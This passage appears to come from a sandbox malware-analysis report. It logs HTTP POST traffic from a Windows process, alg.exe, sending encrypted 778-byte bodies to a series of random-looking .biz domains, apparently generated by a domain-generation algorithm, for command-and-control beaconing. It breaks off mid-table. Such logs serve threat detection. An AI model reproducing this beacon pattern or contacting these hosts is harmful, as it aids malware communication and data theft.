67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49988	13.251.16.150	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:53.524434090 CET	345	OUT	POST /vvo HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qaynky.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:53.524463892 CET	778	OUT	Data Raw: c9 62 6b 05 8a ad 1d 74 fe 02 00 00 c9 f5 0b 86 e7 2b 63 81 3c c1 a5 97 14 b5 b2 03 db d0 98 f3 1e a3 ca 4f dc 7f e2 a0 35 bd 4f 64 9e 08 48 0e 96 73 9c b9 a5 44 ed 09 6e 5a a0 a1 26 7f 65 0e c5 9a 11 b1 c2 6b 16 68 db 36 8b 83 63 a6 69 5d eb e6 Data Ascii: bkt+c<O5OdHsDnZ&ekh6ci]4*a:`>gJwUSF'"y]dr~.v@ O(#.js'OIEMYK.RAY]eNHsgov7i?#K0+O!v6
Oct 28, 2024 16:50:54.967310905 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=86ca7775915f6bdc14e9ce49cbda3580\|155.94.241.188\|1730130654\|1730130654\|0\|1\|0; path=/; domain=.qaynky.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49999	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:55.584899902 CET	347	OUT	POST /ql HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: bumxkqgxu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:55.584944963 CET	778	OUT	Data Raw: 1a 6c 84 7d 81 98 18 bc fe 02 00 00 b3 83 dd e8 f2 16 1d 8a 71 8c 64 0c ac d3 f1 cb 27 ed f0 44 60 d1 0a 1b 8d 04 c0 f5 b1 8f 1f 8e 04 10 5f 9b d2 d9 da 2f b9 c7 a3 f1 5f 06 64 56 43 1f 89 2d 4b ae 51 e9 f2 49 a6 b4 de 0e c3 f6 51 dd 36 63 66 4c Data Ascii: l}qd'D`_/_dVC-KQIQ6cfLl+z7pHEg"+2%8-\Yu;wLKrl!Y~2n.C<w5pSkr;2`GED#E*f
Oct 28, 2024 16:50:56.242321968 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=08fc88269762d7a755c2595166b34a20\|155.94.241.188\|1730130656\|1730130656\|0\|1\|0; path=/; domain=.bumxkqgxu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50001	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:56.591741085 CET	347	OUT	POST /swl HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dwrqljrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:56.591767073 CET	778	OUT	Data Raw: a7 9c ed da 27 f7 94 05 fe 02 00 00 76 ae dc 8a c9 e6 bc f2 62 60 42 d1 eb dd 1a 1e 28 18 83 00 fe 8d 54 ae 42 64 96 18 67 3d 17 65 cc 8b 18 df 86 c3 a7 3c f4 90 b4 ef 40 74 59 d7 01 a2 ee ab 4d 92 53 66 e8 de b5 5b 17 19 13 4f 9c e8 d0 60 b5 33 Data Ascii: 'vb`B(TBdg=e<@tYMSf[O`3?1rq82] y%E8*Nag'1Uv0\%9639"W).!fhtR}epyw)o~Z"c,>:d&%j!FDl
Oct 28, 2024 16:50:57.420901060 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=558f48b19845872a424e6cb87299d6ae\|155.94.241.188\|1730130657\|1730130657\|0\|1\|0; path=/; domain=.dwrqljrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50002	35.164.78.200	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:57.635310888 CET	349	OUT	POST /oekfiuj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: nqwjmb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:57.635310888 CET	778	OUT	Data Raw: 33 b4 53 01 85 c2 63 67 fe 02 00 00 81 e3 50 8c cb 12 12 92 3c 18 10 bd 83 1f 65 f1 7a a1 4d 4a d8 49 68 3a 55 eb 70 65 14 41 50 80 ad d4 19 7f c7 26 63 fe d0 d5 5a c4 ed f7 8b 4e 82 80 06 7b 98 6b a3 f8 82 e9 11 0e 9a 23 79 e4 4b c9 b7 4f 90 b6 Data Ascii: 3ScgP<ezMJIh:UpeAP&cZN{k#yKOE 8zO{2pE(6hH.Y9l 3!@f27In JBT,D,giO&n-B5;Y6'DmIrydlH w.
Oct 28, 2024 16:50:58.464307070 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5bda80ace70fedb4d5cffeeeee0124b4\|155.94.241.188\|1730130658\|1730130658\|0\|1\|0; path=/; domain=.nqwjmb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50003	3.94.10.34	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:58.655952930 CET	346	OUT	POST /e HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ytctnunms.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:58.655973911 CET	778	OUT	Data Raw: 5d 37 44 3d 25 63 74 d4 fe 02 00 00 a1 b4 e3 67 24 b2 63 52 d0 09 49 c0 cc 3c 34 06 c3 57 b6 b4 43 c8 c7 47 ab 30 6f 86 fc 30 45 6b 74 b1 af 20 af ec 18 ec 64 e5 ec 20 6d 6e 4d 8a f7 26 66 6c 8f e1 cf 05 f9 31 8f dd 42 d7 a5 8b d4 8a ef 9f d8 88 Data Ascii: ]7D=%ctg$cRI<4WCG0o0Ekt d mnM&fl1B3e++*I,Aw+/CT=E:AV/r5&a4H33A;N8JzeYyT oNns]\|&f5%iX8DBTyc&XF#
Oct 28, 2024 16:50:59.331190109 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:50:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=af7c045dc33671baf90c6efe1935adbe\|155.94.241.188\|1730130659\|1730130659\|0\|1\|0; path=/; domain=.ytctnunms.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50004	165.160.15.20	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:50:59.546041965 CET	348	OUT	POST /inljiti HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: myups.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:50:59.546065092 CET	778	OUT	Data Raw: b8 b9 2d da 69 e9 15 f9 fe 02 00 00 8f 35 e1 49 99 97 1a 93 2f 9b 58 a5 b4 96 1c 3a 60 c3 05 18 0c 14 f0 4d db c7 d9 eb c3 ec d7 97 5c d5 a2 e9 67 ea dc 1e ef 74 65 70 f9 70 3b 02 4b ab 3d 41 83 22 77 21 de 1d 4f bf 48 67 ed 7f 7b 35 2c d0 28 69 Data Ascii: -i5I/X:`M\gtepp;K=A"w!OHg{5,(iA`k)tVU\|q{ap9*Wys@k\|2eAlso_m3]b76_FNI<oYj?V}k1Y8^VeGU[fV.Z6Tx]gOL`A=._It
Oct 28, 2024 16:51:00.382225990 CET	170	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 15:51:00 GMT Content-Length: 94 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 76 69 73 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 31 2e 31 2e 37 22 20 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title></title><meta name="revised" content="1.1.7" /></head><body></body></html>
Oct 28, 2024 16:51:00.437275887 CET	347	OUT	POST /afgoll HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: myups.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:00.437294960 CET	778	OUT	Data Raw: 15 37 dd 77 f6 c5 df af fe 02 00 00 e6 d8 ad c4 ff 4b b2 12 d4 e3 8c 84 cb f0 ff e5 9e 3f 2b d9 ce c0 ac 26 db e1 81 3d 53 08 5d 90 45 18 75 cc 96 ed 6a 4c e8 f6 8c 39 5a ff 3a af 2e 67 a3 88 af ea 1f 41 c8 63 43 72 a3 95 ed 8a c4 83 b5 80 e2 91 Data Ascii: 7wK?+&=S]EujL9Z:.gAcCr}klWytEaeB!p^\|g\X\oyNgEuIJ~sE1?z`>.N?@aC&(R#hJy<SA8rY
Oct 28, 2024 16:51:00.682236910 CET	170	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 15:51:00 GMT Content-Length: 94 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 76 69 73 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 31 2e 31 2e 37 22 20 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title></title><meta name="revised" content="1.1.7" /></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50005	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:00.974608898 CET	346	OUT	POST /y HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oshhkdluh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:00.974636078 CET	778	OUT	Data Raw: db c3 11 0a a6 aa c7 e0 fe 02 00 00 0f 53 13 8c 8c db 63 6c 9a 54 4c 1e a3 c3 87 72 ba 05 c5 19 d1 cf e9 c3 f5 cb 2a 8c 3e 8d 15 7a 19 06 41 4d 82 e1 7c f3 4e d1 8a 7d ac 76 7d 4d ba d0 fd 3e 30 ca 29 6f d1 41 ff dd 01 f2 05 d4 a4 bf 57 26 86 ab Data Ascii: SclTLr>zAM\|N}v}M>0)oAW&<T=IP!W>6a#`$~./.7VmUu(92y9d!=vg(~u`UJc(2Z\|d7HTig`K=/k
Oct 28, 2024 16:51:01.809478998 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8ef1b05bb23c3bcd9ce71c05f225a40b\|155.94.241.188\|1730130661\|1730130661\|0\|1\|0; path=/; domain=.oshhkdluh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50006	34.211.97.45	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:03.271425962 CET	353	OUT	POST /qtybvvfgdyqy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jpskm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:03.271425962 CET	778	OUT	Data Raw: 28 84 22 e2 c7 dd bb 72 fe 02 00 00 e0 80 e6 0f 93 7e eb a0 16 80 a1 05 d3 f9 c8 a7 69 6c 6a 7f 5e 63 67 e3 6e 39 9d 5d 6a 51 07 84 9b 44 ae 7d b6 7c 53 55 02 b9 0f d1 8e bf 16 44 75 ec 04 0d 94 2d af 44 7a b6 e6 a2 f9 19 2e f9 af b4 91 6b e1 11 Data Ascii: ("r~ilj^cgn9]jQD}\|SUDu-Dz.kTu\|amze]Wo;hC%*s,E;Cz59x>K:]`r28:~Ty'$JV%L!Sj&@3OgE
Oct 28, 2024 16:51:04.090595961 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ef7cdfbd05af0118a88500fe0c75e5f4\|155.94.241.188\|1730130663\|1730130663\|0\|1\|0; path=/; domain=.jpskm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50007	54.244.188.177	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:04.378541946 CET	359	OUT	POST /bdnjndwcxvdfjwt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lrxdmhrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:04.378563881 CET	778	OUT	Data Raw: 4e f3 49 e9 d6 94 f7 66 fe 02 00 00 94 0c 72 cd 61 9a 26 ea c2 f0 7d e9 97 2f 04 cf eb 45 03 f9 6c c9 42 09 9f 2f 90 99 57 fa 1d 99 bb ca cb 8b 66 e3 b4 fb da f2 18 a7 86 c2 00 a4 b1 78 29 cb c3 70 5c b8 8c b5 31 88 71 00 24 7d 5a 09 c0 d5 89 70 Data Ascii: NIfra&}/ElB/Wfx)p\1q$}Zp=_I-t"\|qOB&)T.0ADv(*BQm;s#%PCP#6Eqb!\VmnZZ==g+?<aw=}yFir_;r
Oct 28, 2024 16:51:05.209378004 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=70e2d56aae9c68e5436d319b98194255\|155.94.241.188\|1730130665\|1730130665\|0\|1\|0; path=/; domain=.lrxdmhrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50008	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:05.418046951 CET	351	OUT	POST /krccyasm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: wllvnzb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:05.418077946 CET	778	OUT	Data Raw: 78 76 39 25 77 36 08 d2 fe 02 00 00 62 31 86 af ea 23 df 7b e3 ec 09 41 00 11 b5 d7 6c 77 d7 38 59 1e 88 4a c4 cd 0c 62 66 39 95 57 bb e8 3e 94 4c 28 8e 91 cf c2 0a 02 b1 40 08 78 0c 9c 1b 6b d0 f2 84 3c c5 ef 54 d1 46 01 20 5c 16 d6 5e 6f 39 bb Data Ascii: xv9%w6b1#{Alw8YJbf9W>L(@xk<TF \^o9@F$r0120>nnwTYU(W3]A.e$^b9F6o-$J>!OGeW\=(GIKoO266"cY@nzjaa
Oct 28, 2024 16:51:06.862579107 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=75a5d7541f096ab5a20c3c8a13c7ff80\|155.94.241.188\|1730130666\|1730130666\|0\|1\|0; path=/; domain=.wllvnzb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50009	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:07.212038994 CET	345	OUT	POST /tlre HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gnqgo.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:07.212064028 CET	778	OUT	Data Raw: 64 3d 56 53 f1 03 fb b9 fe 02 00 00 22 c9 94 2c 6f ef 08 a3 af a5 4b 85 c3 20 c3 63 c2 af 26 2d 36 b4 e4 de 37 90 86 35 07 39 73 a5 ce 67 47 7e e1 26 d0 c5 7f 1f 73 b9 cc 07 97 9e d5 ca ce 36 86 ff 4c 96 6c 12 45 ee 94 36 2a 54 e4 e0 fc 41 ad 37 Data Ascii: d=VS",oK c&-6759sgG~&s6LlE6*TA7R"tr3QF5rCr=bmXR_9jiW/ns e3jq}?ww"y4rmri5es
Oct 28, 2024 16:51:07.875771999 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=73e8c0ab4e3c44063b31ff900e2ab99a\|155.94.241.188\|1730130667\|1730130667\|0\|1\|0; path=/; domain=.gnqgo.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50010	44.221.84.105	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:08.496460915 CET	346	OUT	POST /tj HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jhvzpcfg.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:08.496480942 CET	778	OUT	Data Raw: bb 41 f9 e4 1b 00 65 ea fe 02 00 00 0c ce e5 00 71 5a 78 1b fe 7b ef 4d b9 52 fb 74 0a 14 e5 61 c0 51 f2 b2 f1 f8 b0 05 2d 1f 7b 4e 5d 5d 34 48 de 8f c3 05 c2 cd 63 d9 d0 20 15 82 ff 3f 4a 07 e1 34 a6 8c 13 4c 88 0f 65 1b 51 25 3c fd c5 85 ac aa Data Ascii: AeqZx{MRtaQ-{N]]4Hc ?J4LeQ%<\|z1^l}z2r?scKz(WT.>A(Kjwar:S_=#h7 .v?`8e*=7gNiR/&b%eoSv
Oct 28, 2024 16:51:09.173051119 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8d408b1c3469e393eb44a625ae59c77c\|155.94.241.188\|1730130669\|1730130669\|0\|1\|0; path=/; domain=.jhvzpcfg.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50011	18.141.10.107	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:09.642513990 CET	347	OUT	POST /ewf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: acwjcqqv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:09.642548084 CET	778	OUT	Data Raw: 7a 07 df cb db a4 0e 70 fe 02 00 00 ac ca bd 27 f5 0e 40 58 e9 7a 52 24 c1 72 3f 9c 60 ac 18 51 20 03 bd c4 c2 44 37 d7 c9 47 a8 e5 8b 82 0a dd 83 61 0d 69 12 72 e1 5b db df cc 56 22 91 95 fd 1b 93 ac 68 8d 79 eb 44 b7 ad 72 93 22 b0 c3 bd 34 8b Data Ascii: zp'@XzR$r?`Q D7Gair[V"hyDr"4g"WDLE4&fN_=sfU$vE@AUpZ^ Z&[VXZ4}0`dL^_2kF.SPUReasFXZ?o$*}iKE^~RtUtj
Oct 28, 2024 16:51:11.084306002 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=253a3806f9c259280561d5e2ce9c873c\|155.94.241.188\|1730130670\|1730130670\|0\|1\|0; path=/; domain=.acwjcqqv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50012	18.246.231.120	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:51:11.343101978 CET	355	OUT	POST /vdqmhlkrsphqhe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vyome.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Oct 28, 2024 16:51:11.343113899 CET	778	OUT	Data Raw: 34 1f 7b 3a f3 99 26 33 fe 02 00 00 72 4e 94 d8 4a 4c cb 2c 51 8b 7a 79 34 81 4e 72 65 c6 8e 2c 92 ce 54 b3 d2 87 2f 4c 5d 48 ef 44 3e 39 3e 5e 2a 28 46 81 28 7b c0 6b 89 cc bb 21 56 61 c7 d7 91 de e9 2a 5a f9 f2 90 7c 7d 1e 10 ac 08 1f 4d f0 79 Data Ascii: 4{:&3rNJL,Qzy4Nre,T/L]HD>9>^(F({k!VaZ\|}MyaCF;'1T(ukvqm02x}ZIG4i_y/P:L2[6p!kT\|%/m%VwSNX05{4,T~K.d2]'~T#
Oct 28, 2024 16:51:12.182885885 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:51:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ebd04cd36d95deaa954bafe702363840\|155.94.241.188\|1730130672\|1730130672\|0\|1\|0; path=/; domain=.vyome.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50013	18.208.156.248	80	2636	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
